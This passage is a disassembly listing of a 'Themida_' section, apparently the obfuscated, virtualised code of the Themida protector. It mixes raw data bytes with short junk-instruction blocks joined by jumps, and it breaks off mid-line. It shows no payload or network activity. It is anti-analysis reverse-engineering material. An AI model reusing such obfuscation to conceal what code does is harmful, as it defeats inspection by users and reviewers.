1C335C24h dd 1AB3E924h, 0E3810000h, 9776B1Eh, 1109EB81h, 0C2E9A460h dd 68000026h, 3110h, 0E9243C89h, 81B4h, 4EC8359h, 0FFCBBAE9h dd 2474FFFFh, 24048B04h, 8F04C483h, 0F5C2404h, 9C51C8AFh dd 0FFC479E9h db 0FFh ; --------------------------------------------------------------------------- loc_548699: ; CODE XREF: Themida_:005471FFj push 7F29h mov [esp], ebx push eax mov ah, dl mov bh, ah mov eax, [esp] add esp, 4 mov [edi+eax*4], bh mov ebx, [esp] push esi mov esi, esp add esi, 4 push ebx sub esp, 4 mov [esp], edi push 0B3D1DB9h jmp loc_54A33C ; --------------------------------------------------------------------------- loc_5486D2: ; CODE XREF: Themida_:0054CD57j mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5503A2 ; --------------------------------------------------------------------------- dw 0E9BAh dd 81954DB3h, 0D12F2DE9h, 57D10132h, 473E9h db 0 ; --------------------------------------------------------------------------- loc_548709: ; CODE XREF: Themida_:00547B60j mov dl, 94h jmp loc_548D74 ; --------------------------------------------------------------------------- dd 2414875Ch, 2414895Ch, 0FFC3F5E9h, 240C8BFFh, 8704C483h dd 0FF5C2404h, 34FF2434h, 5EE95824h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548733: ; CODE XREF: Themida_:005474B9j xor esi, 5BF60302h jmp loc_54EA8C ; --------------------------------------------------------------------------- dw 665Ah dd 0FB151h, 285966CBh, 0FEB80C3h, 4E92E9h, 0B0686600h dd 0C89661Ch, 0B60F6624h, 5B39E9C8h, 0CE870000h, 0FFE769E9h dd 0E9C5FEFFh, 818Ch, 5BA3E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548776: ; CODE XREF: Themida_:0054F5FDj mov [esp], eax push esi mov esi, esp jmp loc_54564B ; --------------------------------------------------------------------------- loc_548781: ; CODE XREF: Themida_:00546B64j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 jmp loc_5452EF ; --------------------------------------------------------------------------- dw 0DB8h dd 1C1959Eh, 7521E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5487AA: ; CODE XREF: Themida_:0054F788j mov ebx, 321E0C81h xor ebx, 321E0C85h jmp loc_54A898 ; --------------------------------------------------------------------------- a0S db '0щИч ',0 dd 0C2815A00h, 4, 75C5E9h, 4C68100h, 81000000h, 4EEh, 24348700h dd 240C895Ch, 0FFC480E9h, 95E95BFFh, 8700003Dh, 815C241Ch dd 4C2h, 3FA26800h, 0C890000h, 4B924h, 0CA010000h, 4C2FE9h db 0 ; --------------------------------------------------------------------------- loc_548809: ; CODE XREF: Themida_:005509FCj xor eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 push esi push 1DF5h mov [esp], edi push 496B1057h jmp loc_54F0F3 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 14h dd 4C48124h, 51000000h, 0C800F7B1h, 17B75359h, 5B2FE9h dd 58C38900h, 1502F381h, 0D8014FC7h, 1B13E9h, 0E9F30000h dd 0FFFFE4B2h, 4C281h, 0B9510000h, 4, 2F0EE9h, 6B36B900h dd 50E97BEBh, 8100000Dh, 4C1h, 0FE95600h, 89000045h, 4C781E7h dd 81000000h, 4EFh, 243C3300h, 33243C31h, 0E95C243Ch, 41Bh dd 514DBD55h, 94B85473h, 5754788Ah, 16722DBFh, 0E9F82915h dd 0FFFFCF31h, 7C1C68h, 243C8900h, 0A9440FBFh, 5FFB2939h dd 83FDE9h db 0 ; --------------------------------------------------------------------------- loc_5488D1: ; CODE XREF: Themida_:005473A7j neg eax dec eax jmp loc_54D783 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0A6h dd 81335B13h, 0CD2596E6h, 0F5BA525Dh, 3111FE22h, 8568E9D6h dd 0E9570000h, 6EEEh ; --------------------------------------------------------------------------- loc_5488F8: ; CODE XREF: Themida_:00545494j sub eax, 7F6F7D97h jmp loc_548E63 ; --------------------------------------------------------------------------- loc_548902: ; CODE XREF: Themida_:00544C30j jmp loc_544B12 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 3C8904ECh, 815F5424h, 4ECh, 23C5E900h, 0EA810000h dd 46A2E5D4h, 0E95AD709h, 3D8Ah, 0E939B353h, 64FCh, 0DC4F880Dh dd 75BF5738h, 815F4612h, 0C102B2C7h, 8E7C129h, 0D9F7CF87h dd 0C781CF87h, 75AA234Ah, 5AC7814Fh, 21E31E51h, 0DCCBE9F8h dd 0CA81FFFFh, 28831406h, 0DCE9DAF7h, 66000083h, 57240C8Bh dd 2434FF54h, 8104E95Fh, 14310000h, 24143324h, 241C895Ch dd 0F4CE954h, 81660000h, 0E93258C3h, 0FFFFE897h ; --------------------------------------------------------------------------- loc_548998: ; CODE XREF: Themida_:0054A31Bj push dword ptr [esp] pop ecx add esp, 4 jmp loc_550475 ; --------------------------------------------------------------------------- loc_5489A4: ; CODE XREF: Themida_:0054E99Dj mov ch, 4Eh sub ch, dh pop edx add bl, 1Ah sub bl, ch jmp loc_549626 ; --------------------------------------------------------------------------- db 0BFh dd 301575Ah, 5852E9h, 74E58000h, 0B753D5F6h, 5BFD3029h dd 0E94DED80h, 3027h ; --------------------------------------------------------------------------- loc_5489D0: ; CODE XREF: Themida_:0054506Aj pop esp push ebp mov ebp, 4 add edi, ebp pop ebp jmp loc_54EDEA ; --------------------------------------------------------------------------- db 50h dd 4B8h, 58C70100h, 8B243C87h, 0D2312424h, 0FFE23FE9h dd 40558FFh, 51000000h, 4B9h, 59C80100h, 31240433h, 4332404h dd 0D2B4E924h, 0EE80FFFFh, 5AF508B6h, 81B1E9h, 20500h dd 0E0E90000h, 80FFFFCFh, 0D18897C2h, 59CB005Ah, 800FEB80h dd 0C32810EBh, 8010C380h, 50510FC3h, 9AE9EBB0h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A47: ; CODE XREF: Themida_:0054ACDEj add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push eax jmp loc_5462B7 ; --------------------------------------------------------------------------- loc_548A5D: ; CODE XREF: Themida_:0054EBB1j mov ecx, 142D6472h jmp loc_549DF0 ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 5C24048Fh, 840FC009h, 7C32h, 6A7468h, 242C8900h dd 0FFE77FE9h db 0FFh ; --------------------------------------------------------------------------- loc_548A85: ; CODE XREF: Themida_:00545A02j push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push eax mov eax, esp jmp loc_54904F ; --------------------------------------------------------------------------- dw 0C681h dd 564EBC2Bh, 0FFC67AE9h, 0C8B66FFh, 10736824h, 4890000h dd 57AE924h, 0C7300000h, 50D7F658h, 0FFD29FE9h, 28E957FFh dd 5E000030h, 7BCEBF57h, 0E98120EAh, 6A09596Ah, 0F6E9F901h dd 8100006Ah, 755BDCC6h, 8BF701F8h, 0E9562434h, 67C2h dd 3A529205h, 71B20524h, 0D00155A1h, 0A171B22Dh, 52922D55h dd 0A9E9243Ah db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B03: ; CODE XREF: Themida_:0055003Cj add esp, 4 movzx eax, al pop dword ptr [edi+eax*4] jmp loc_544B12 ; --------------------------------------------------------------------------- db 80h, 0E9h, 52h dd 1E9805Bh, 52ADB353h, 0E6C006B6h, 7DF68006h, 76E9C6FEh dd 83FFFFF2h, 1C8704C3h, 3F72E924h, 0C3810000h, 3B057880h dd 0B4E9C329h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548B43: ; CODE XREF: Themida_:005479B7j pop edi sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi mov esi, 7D4B2C7Dh jmp loc_54975C ; --------------------------------------------------------------------------- dd 0D2F74A5Dh, 0C5E9D2F7h, 81FFFFD7h, 0FB3B4BE9h, 0CCE95B12h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B6F: ; CODE XREF: Themida_:0054D815j pop ebp add ebp, edx pop edx xchg ebp, [esp] pop esp jmp loc_54CFF9 ; --------------------------------------------------------------------------- dd 0D12F2DBFh, 0EC52E932h, 248BFFFFh, 0BF84E924h, 815BFFFFh dd 4C4h, 0FA1CE900h, 0C483FFFFh, 24043304h, 33240431h dd 248B2404h, 34E3E924h, 0D3890000h, 3CCBA5Ah, 0DA01FB73h dd 3828E9h, 241C8B00h, 81E18951h, 4C1h, 4C18300h, 31240C33h dd 0C33240Ch, 0E7C05C24h, 0B7535203h, 5BFE88D1h, 0E9A2B353h dd 0FFFFECFFh, 5304C483h, 2BBh, 5BDE0100h, 640368h, 24348900h dd 42474FFh, 24048F5Eh, 0D224248Bh, 0E99C243Ch, 0FFFFE5DDh ; --------------------------------------------------------------------------- loc_548C10: ; CODE XREF: Themida_:0054AB0Cj shr ecx, 7 neg ecx xor ecx, 0D7EDF5A1h add esi, ecx jmp loc_549B2E ; --------------------------------------------------------------------------- dw 0B951h dd 0A1C7241h, 78A9F181h, 11E96136h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548C33: ; CODE XREF: Themida_:00545583j push edx mov edx, esp jmp loc_546058 ; --------------------------------------------------------------------------- db 0B8h dd 78135011h, 0E958C301h, 2DFh ; --------------------------------------------------------------------------- loc_548C48: ; CODE XREF: Themida_:0054C4E2j push ecx mov ecx, 23041057h and ebx, ecx pop ecx jmp loc_544D99 ; --------------------------------------------------------------------------- dw 0D901h dd 240C875Bh, 2C1835Ch, 31240C33h, 0C33240Ch, 0F9F65C24h dd 0CCB60F66h, 0FFFADCE9h db 0FFh ; --------------------------------------------------------------------------- loc_548C75: ; CODE XREF: Themida_:00547E23j pop esi jmp loc_5499ED ; --------------------------------------------------------------------------- db 55h dd 0D6287FBDh, 2DE9573Fh, 0BB00004Dh, 30084BEFh, 44F8C381h dd 0EBC150EDh, 81D3F707h, 783B96C3h, 5BDD8911h, 0FFE699E9h dd 240489FFh, 0FFBE65E9h, 5AD788FFh, 0BB65259h, 800AF680h dd 1FE923C7h, 89000052h, 0E9512404h, 0FFFFFBA9h, 488FEF81h dd 0CF012D5Fh, 488FC781h, 55592D5Fh, 754740BDh, 94BB530Ch dd 813F145Fh, 521C0AEBh, 18E3817Eh, 0F777B507h, 7CA2E9DBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548CF6: ; CODE XREF: Themida_:00547050j mov ecx, 76F004A7h xor ecx, eax pop eax add edi, 76C93B61h jmp loc_54F68D ; --------------------------------------------------------------------------- db 5Ah, 29h, 0DDh dd 0FFEA295Bh, 835D2434h, 0D30104C4h, 241C875Ah, 0FFEAE8E9h dd 4EC81FFh, 89000000h, 0A2BE2434h, 0B86D390Ch, 5F932B69h dd 105h, 3E0C100h, 1DF4E9h, 24148700h, 0E389535Ch, 34B1E952h dd 1C8B0000h, 0DEAFE924h, 8B66FFFFh, 0C4812414h, 2, 8B66E830h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_547305 ; --------------------------------------------------------------------------- loc_548D74: ; CODE XREF: Themida_:0054870Bj dec dl not dl shl dl, 5 inc dl add dl, 4Ah xor al, dl jmp loc_549731 ; --------------------------------------------------------------------------- loc_548D87: ; CODE XREF: Themida_:00549FA0j mov esi, 0FFFFFFFFh sub eax, esi pop esi jmp loc_54B774 ; --------------------------------------------------------------------------- dd 158C201h, 2434FFD7h, 0E389535Ah, 5732B850h, 0E0C161D9h dd 18760D04h, 0E0C11DEDh, 0BB043507h, 59E9FEBDh, 5C000056h dd 26EBE9h, 0BD4CE900h, 0C381FFFFh, 654D0804h, 68E9DD01h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_548DD3: ; CODE XREF: Themida_:00549B8Aj or eax, eax jmp loc_550DE4 ; --------------------------------------------------------------------------- dw 4ACh aAs8s db '─S╥8Ич$',0 dd 980DBD00h, 0EA312C1Ch, 0E9D0015Dh, 0FFFFDE53h, 0C781E789h dd 4, 0E904C783h, 4443h, 858C288h, 148B66D7h, 2C48324h dd 0E7C0D7F6h, 0B5516604h, 0B6526698h, 69A3E925h, 0DBF70000h dd 2414F753h, 4DEB815Bh, 0E9F4FA5Dh, 21ADh, 895982Dh, 0E9C729ABh dd 0FFFFD8B8h, 4FE968h, 243C8900h, 4BFh, 0F622E900h, 48BFFFFh dd 48A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E5A: ; CODE XREF: Themida_:0054CBD7j pop edi mov edx, [esp] jmp loc_54709C ; --------------------------------------------------------------------------- loc_548E63: ; CODE XREF: Themida_:005488FDj push dword ptr [esp] pop edx jmp loc_54EA9D ; --------------------------------------------------------------------------- dd 0FFBCA1E9h, 48B66FFh, 689BE924h, 0C890000h, 6ABF5724h dd 897C1E30h, 243C8BF9h, 4C481h, 0EE810000h, 283710E0h dd 0C681CE29h, 283710E0h, 53240C8Bh, 0C381E389h, 4, 8704C383h dd 9BE9241Ch, 89000023h, 0E789243Ch, 4EC81h, 34890000h dd 9CE95024h, 87FFFFC7h, 815C240Ch, 4C6h, 2EE8100h, 0E9000000h dd 0FFFFD70Ah, 0BA34B40Dh, 4410E962h, 0E9570000h, 5D8Fh dd 9E939668h, 243C8B3Fh, 3104C483h, 45CBE9F8h, 0D0290000h dd 1BFE2D5Ah, 32D6E5Ch, 2951D725h, 250305D0h, 0FE0551D7h dd 56E5C1Bh, 2E081CF7h, 66C3315Ah, 0EBE9008Fh, 0F7FFFFBBh dd 0E95750D3h, 2922h ; --------------------------------------------------------------------------- loc_548F30: ; CODE XREF: Themida_:00549E9Aj add edx, 4 xchg edx, [esp] pop esp jmp loc_5510B6 ; --------------------------------------------------------------------------- loc_548F3F: ; CODE XREF: Themida_:0054FB5Dj dec esi add esi, 2E21033Dh push ebx mov ebx, 77E615EEh jmp loc_54AEBC ; --------------------------------------------------------------------------- db 52h, 89h, 0F2h dd 2881E9h, 0D1E95E00h, 8B00005Bh, 0C4812414h, 4, 43B2C381h dd 0FB010BB5h, 43B2EB81h, 45E90BB5h, 6, 0E82859C8h, 0C8B0D2Ch dd 34066824h, 4890000h, 2128E924h, 148B0000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] imul cx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_54F744 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 3C870000h, 8B665C24h, 0EC832404h, 240C8904h dd 0A4E95954h, 5800002Fh, 0B951h, 0F1290000h, 3533E9h dd 48B6600h, 40F1E924h, 885A0000h, 0D4E958C1h, 52000038h dd 75460068h, 0EEE95A1Ah, 8100006Dh, 4C3h, 241C8700h, 2404315Ch dd 0FFBAF1E9h, 24148BFFh, 0E9E68956h, 2695h, 0B9515854h dd 4, 393C1C05h, 2DC80142h, 42393C1Ch, 0E7895759h, 4C781h dd 45E90000h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54904F: ; CODE XREF: Themida_:00548A91j sub esp, 4 mov [esp], edx mov edx, 23F95E54h or edx, 2A133E66h sub edx, 448451F3h jmp loc_550D88 ; --------------------------------------------------------------------------- db 0B5h dd 3EDC044h, 0E906EDC0h, 0FFFFBBE6h ; --------------------------------------------------------------------------- loc_549078: ; CODE XREF: Themida_:0054B17Bj pop edi or eax, eax jmp loc_54C741 ; --------------------------------------------------------------------------- loc_549080: ; CODE XREF: Themida_:0054F25Dj push edx jmp loc_54D4A2 ; --------------------------------------------------------------------------- dw 5166h dd 0FFCB73E9h db 0FFh ; --------------------------------------------------------------------------- loc_54908D: ; CODE XREF: Themida_:0054B320j push ebx mov ebx, esp add ebx, 4 jmp loc_54F291 ; --------------------------------------------------------------------------- db 81h dd 987380F7h, 2EFC12Bh, 70AFE9h, 73D2BB00h, 0D801FFCFh dd 58C2015Bh, 7BF5E9h db 0 ; --------------------------------------------------------------------------- loc_5490B9: ; CODE XREF: Themida_:0054C57Bj mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_546970 ; --------------------------------------------------------------------------- loc_5490CF: ; CODE XREF: Themida_:00546770j add esi, edi jmp loc_5497CE ; --------------------------------------------------------------------------- dw 1C89h aHr db '$hЮ`',0 align 2 dw 489h aW_4qsV db '$╦жw.4QИ╫V',0 align 4 loc_5490EC: ; CODE XREF: Themida_:0054A468j mov edi, [esp] add esp, 4 shr eax, 7 push edx mov edx, 56624603h or edx, 31FC6144h xor edx, 88FE6E11h add eax, edx pop edx and ecx, eax jmp loc_55046B ; --------------------------------------------------------------------------- loc_549111: ; CODE XREF: Themida_:0054A33Dj add edi, 1C665B66h mov ebx, edi jmp loc_545CCC ; --------------------------------------------------------------------------- dw 0D101h dd 5A2434FFh, 4C481h, 0C330000h, 240C3124h, 8B240C33h dd 0F662424h, 5166C8AFh, 0D96E99Ch, 3C680000h, 89000025h dd 74FF2414h, 3FE90424h, 81FFFFFEh, 916A1BC2h, 0EA814A12h dd 1, 2FFCE9h, 0EAE98100h, 1D43BEFh, 0E4E959CBh, 81000028h dd 0DA0743C3h, 28F3813Ah, 816CC10Eh, 68C07BF3h, 8BDA013Fh dd 0C481241Ch, 4, 0FFB97DE9h db 0FFh ; --------------------------------------------------------------------------- loc_549195: ; CODE XREF: Themida_:0054F2F9j sub eax, ebx jmp loc_54A700 ; --------------------------------------------------------------------------- dd 2474FF51h, 0A9CE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5491A6: ; CODE XREF: Themida_:00550249j shl edi, 3 sub edi, 0E722F52Dh mov ebp, edi jmp loc_5505F2 ; --------------------------------------------------------------------------- dw 0E889h dd 81242C8Bh, 4C4h, 0E8C14000h, 44B33508h, 0C2318ABBh dd 5AD30158h, 2C381h, 0E9530000h, 859h ; --------------------------------------------------------------------------- loc_5491DC: ; CODE XREF: Themida_:00549B01j push edi jmp loc_54BFD4 ; --------------------------------------------------------------------------- dw 555Eh dd 380CE9h, 4C18300h, 5C240C87h, 77E768h, 241C8900h, 0DEE95B54h dd 81000038h, 4C2h, 4EA8300h, 5C241487h, 54242C89h, 0E9242C8Bh dd 553Ah, 0E0EF8159h, 103C652h, 0E0C781DFh, 0E903C652h dd 1341h, 8904EC83h, 0B0E92404h, 81FFFFEFh, 4C4h, 24348700h dd 2424D35Ch, 0FFB8C9E9h, 88EA81FFh, 0E9BB523Fh, 0Ch, 5AD6015Bh dd 0E906E6C1h, 736Fh, 58B0C581h, 52E90673h, 0FFFFCEh, 0F82858C7h dd 241C8B66h, 5202C483h, 0F68FB450h, 17EC80DCh, 0C0E9E288h dd 5F00005Bh, 350DE957h, 7FE90000h, 66FFFFB8h, 8124048Bh dd 4ECh, 241C8900h, 523EE9h, 0E2895200h, 4C281h, 0C2810000h dd 4, 5C241487h, 0E9515750h, 0FFFFD216h, 2E8C15Bh, 0FFEAEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5492C9: ; CODE XREF: Themida_:00549BD2j xor [esp+4], edx pop edx jmp loc_54E56B ; --------------------------------------------------------------------------- db 68h dd 5D6Eh, 83242489h, 5B042404h, 4C381h, 0BA520000h, 3DDF4F49h dd 4599E9h, 0B81CE900h, 0FF51FFFFh, 59042474h, 8B24048Fh dd 0BF0F2424h, 5CCD68C8h, 0C890000h, 0B800E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549312: ; CODE XREF: Themida_:0054EBEEj push ecx mov ch, 3 jmp loc_545868 ; --------------------------------------------------------------------------- dw 1CF7h dd 0EE99C24h, 83000021h, 71E902C1h, 53FFFFFEh, 3B532FBBh dd 0BAE9562Dh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549337: ; CODE XREF: Themida_:0054CE12j pop esi add ebx, 48714655h sub ebx, 98D5F08h push edi mov edi, 1BB61388h jmp loc_5465C5 ; --------------------------------------------------------------------------- loc_54934F: ; CODE XREF: Themida_:0054D01Bj xor [esp], edi xor edi, [esp] pop esp xor ebp, [esp] jmp loc_5471F8 ; --------------------------------------------------------------------------- loc_54935E: ; CODE XREF: Themida_:0054B555j pop ebx or eax, eax jz loc_550BE6 push dword ptr [edi+1Ch] jmp loc_5450B8 ; --------------------------------------------------------------------------- db 89h dd 0FCBF243Ch, 8173454Eh, 0B06857F7h, 0C45E928h, 8BE90000h dd 55FFFFB7h, 4EC81h, 8F540000h, 4832404h, 815D0424h, 4ECh dd 24148900h, 0E63C3EBAh, 5EAC12Bh, 0EA81D2F7h, 5BDF42C5h dd 75F7F281h, 814A70C4h, 906F43C2h, 0CFCA8160h, 0E9714A7Dh dd 2E5Eh, 0E924048Bh, 3B0h ; --------------------------------------------------------------------------- loc_5493D0: ; CODE XREF: Themida_:0055002Cj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_545195 ; --------------------------------------------------------------------------- loc_5493E1: ; CODE XREF: Themida_:0054D543j push 7C57h jmp loc_549DFA ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0F3F5E900h, 0C829FFFFh, 70E2BB53h, 16E97F69h dd 8BFFFFC8h, 0F0E92434h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54940B: ; CODE XREF: Themida_:00546503j mov edi, 4DAF7530h xor edi, 4402660h shl edi, 5 or edi, 24203047h push edx mov edx, 47531F12h or edx, 2F10780Ah xor edx, 52B90559h xor edi, edx pop edx add ebx, edi jmp loc_5456B4 ; --------------------------------------------------------------------------- db 0B2h dd 8E2C06Eh, 0FE7CF280h, 789DE9C2h, 0C7810000h, 4, 6C7368h dd 24048900h, 2B8h, 8BC70100h, 0C4832404h, 243C8704h, 0C8B665Ch dd 4EC8124h, 89000000h, 91E9240Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54947B: ; CODE XREF: Themida_:0054D2F1j add ebp, 4 push 2786h mov [esp], edx jmp loc_546D2A ; --------------------------------------------------------------------------- loc_54948E: ; CODE XREF: Themida_:0054FD1Dj add edi, 4 xchg edi, [esp] pop esp push 6A06h jmp loc_549935 ; --------------------------------------------------------------------------- loc_5494A2: ; CODE XREF: Themida_:0054DA09j mov [esp], ecx push eax jmp loc_547B24 ; --------------------------------------------------------------------------- db 89h dd 0D4682414h, 5A050672h, 6631CA81h, 0CA810F71h, 2B95456h dd 8D7AC281h, 40E9594Fh, 81000027h, 9D070AC3h, 0C381435Dh dd 0EEFD492Fh, 0E1E9D801h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5494DF: ; CODE XREF: Themida_:005499CBj mov edx, 4CB43C7Ah add edx, 0B34BC38Ah add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] jmp loc_54B02B ; --------------------------------------------------------------------------- loc_5494FB: ; CODE XREF: Themida_:0054BAB1j push edx push edi mov edi, 4429157Fh push edi jmp loc_550B58 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 4105866h, 0FBE99C24h, 0BDFFFFB5h, 4, 4FE9EE01h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549523: ; CODE XREF: Themida_:005451A1j xor ecx, 40100C12h add [edi+24h], ecx mov ecx, [esp] add esp, 4 loc_549535: ; CODE XREF: Themida_:005503A8j sub esp, 4 mov [esp], edx push ecx push 69E5h jmp loc_5455FC ; --------------------------------------------------------------------------- loc_549549: ; CODE XREF: Themida_:00549FD2j push dword ptr [esp+4] mov edi, [esp] jmp loc_544C21 ; --------------------------------------------------------------------------- loc_549555: ; CODE XREF: Themida_:0054971Aj sub ebp, 0DFCE8ED0h shr ebp, 1 push ebp not dword ptr [esp] pop ebp and ebp, 40E8092Ch or ebp, 31D34109h add ebp, 8E0CBEFBh add ecx, 603C757Bh add ecx, ebp sub ecx, 603C757Bh jmp loc_5466E5 ; --------------------------------------------------------------------------- db 68h dd 2513h, 81242489h, 42404h, 2C8B0000h, 4C48324h, 4C581h dd 0BE560000h, 2, 49B3E9h, 12ED6800h, 0C890000h, 21B75324h dd 0E9C4EF80h, 6D72h, 0B951h, 0E1E90000h, 4900003Bh, 6B31F181h dd 0C8897BEBh, 0CED8159h, 1049E37h, 0CC581C5h, 58049E37h dd 31242C33h, 2C33242Ch, 11E95C24h, 6600003Ch, 6663B105h dd 667C0205h, 667E852Dh, 0E957F029h, 4ED2h ; --------------------------------------------------------------------------- loc_549608: ; CODE XREF: Themida_:00545E11j not dh add dh, 83h sub dh, 0C2h push eax jmp loc_54CEEC ; --------------------------------------------------------------------------- dw 433h dd 0C4835C24h, 24042904h, 0B4ECE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549626: ; CODE XREF: Themida_:005489AEj sub bl, 1Ah mov cx, [esp] add esp, 2 push 6CD3h mov [esp], ecx jmp loc_546B62 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 4C78300h, 34F3E957h, 34FF0000h, 2434FF24h, 8124048Bh dd 4C4h, 91E95700h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549663: ; CODE XREF: Themida_:005501BCj and edx, 779B7BA9h add edx, 0BA6CAF5Bh add ebp, 3ED236BAh sub ebp, 6CDA19F4h add ebp, edx add ebp, 6CDA19F4h sub ebp, 3ED236BAh mov edx, [esp] add esp, 4 xchg ebp, [esp] pop esp shr ecx, 2 push 2580h mov [esp], ebx xor dword ptr [esp], 2D507D58h push dword ptr [esp] jmp loc_545D63 ; --------------------------------------------------------------------------- dd 53FBB151h, 0DBF62BB3h, 2C02B050h, 3E8C036h, 2EC81h dd 0BBE90000h, 1000052h, 0C2835EF2h, 4EC8304h, 0FF241489h dd 5A042474h, 0FFC48FE9h, 0F6D0F6FFh, 4A12CD8h, 34FB2C44h dd 58C588FFh, 0C8BEB28h, 262E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5496FA: ; CODE XREF: Themida_:00548594j pop esi push edi push 436F2AB6h jmp loc_54DB0C ; --------------------------------------------------------------------------- loc_549706: ; CODE XREF: Themida_:00547F15j shl ebp, 3 neg ebp or ebp, 3C176C4Ah add ebp, 60DD08F8h shr ebp, 5 jmp loc_549555 ; --------------------------------------------------------------------------- db 5Eh dd 2B850h, 0EB810000h, 33D94445h, 512BE9h db 0 ; --------------------------------------------------------------------------- loc_549731: ; CODE XREF: Themida_:00548D82j pop edx sub bl, 0BCh sub bl, al jmp loc_54FFF8 ; --------------------------------------------------------------------------- dd 65ADE581h, 0BB5348C9h, 3C9027D1h, 4302E3C1h, 0FFCE1AE9h dd 58C501FFh, 0E9242C33h, 5203h ; --------------------------------------------------------------------------- loc_54975C: ; CODE XREF: Themida_:00548B53j dec esi jmp loc_54676A ; --------------------------------------------------------------------------- loc_549762: ; CODE XREF: Themida_:0054AD88j push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add edx, ecx pop ecx and eax, edx mov edx, [esp] add esp, 4 or edx, eax jmp loc_550239 ; --------------------------------------------------------------------------- dd 4C481h, 2C870000h, 0D3665C24h, 0E99C2424h, 0FFFFB37Eh dd 24048F5Bh, 2434FF5Ch, 81240C8Bh, 4C4h, 0CFCBE900h, 63E9FFFFh dd 0BEFFFFB3h, 6E3A669Ch, 0C15EF309h, 0B4E908EBh db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5497BF: ; CODE XREF: Themida_:00544B27j sub al, 0A1h mov ebx, [esp] add esp, 4 add al, bl jmp loc_5450A0 ; --------------------------------------------------------------------------- loc_5497CE: ; CODE XREF: Themida_:005490D1j pop edi push 245Dh mov [esp], ebx mov ebx, 19491B03h neg ebx and ebx, 108C53C4h push edi mov edi, 776F281Dh or edi, 70391268h or edi, 3D6C66EFh neg edi xor edi, 1E743827h shl edi, 6 add edi, 6C6916D4h xor ebx, edi pop edi add esi, ebx pop ebx or esi, 3CDA63D9h push eax push 0FCDE6BFFh mov eax, [esp] add esp, 4 sub esi, eax mov eax, [esp] add esp, 4 and ecx, esi pop esi shr ecx, 0Bh jmp loc_54D68E ; --------------------------------------------------------------------------- loc_549835: ; CODE XREF: Themida_:0054B026j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_546D19 ; --------------------------------------------------------------------------- aVsEmIS? db 'VS╩|e▄╡┴чИ#?',0 db 0 ; --------------------------------------------------------------------------- loc_549851: ; CODE XREF: Themida_:00548612j sub edx, ebp pop ebp or edi, edx pop edx jmp loc_5463BD ; --------------------------------------------------------------------------- dd 4C481h, 0FF570000h, 0E9042474h, 32BFh, 0DDF659B5h, 801CF580h dd 0C58089F5h, 40CD80E5h, 0F608EDC0h, 2E5C0D5h, 6AE95266h dd 87000018h, 15C243Ch, 47E959C8h, 81000002h, 4C2h, 3142E900h dd 5B0000h, 19E95AF0h, 4000030h, 685B6686h, 75ABh, 4A26E9h dd 68535000h, 50B06EBh, 39EB815Bh, 0E90277B2h, 5A54h ; --------------------------------------------------------------------------- loc_5498CC: ; CODE XREF: Themida_:0054D42Aj neg eax dec eax inc eax sub eax, 3A692A07h jmp loc_54FB2C ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 1B81E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5498E6: ; CODE XREF: Themida_:0054DD77j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, esp push ecx mov ecx, 4 add edi, ecx pop ecx push edx mov edx, 4 add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ebp push esi jmp loc_54C06B ; --------------------------------------------------------------------------- loc_54991B: ; CODE XREF: 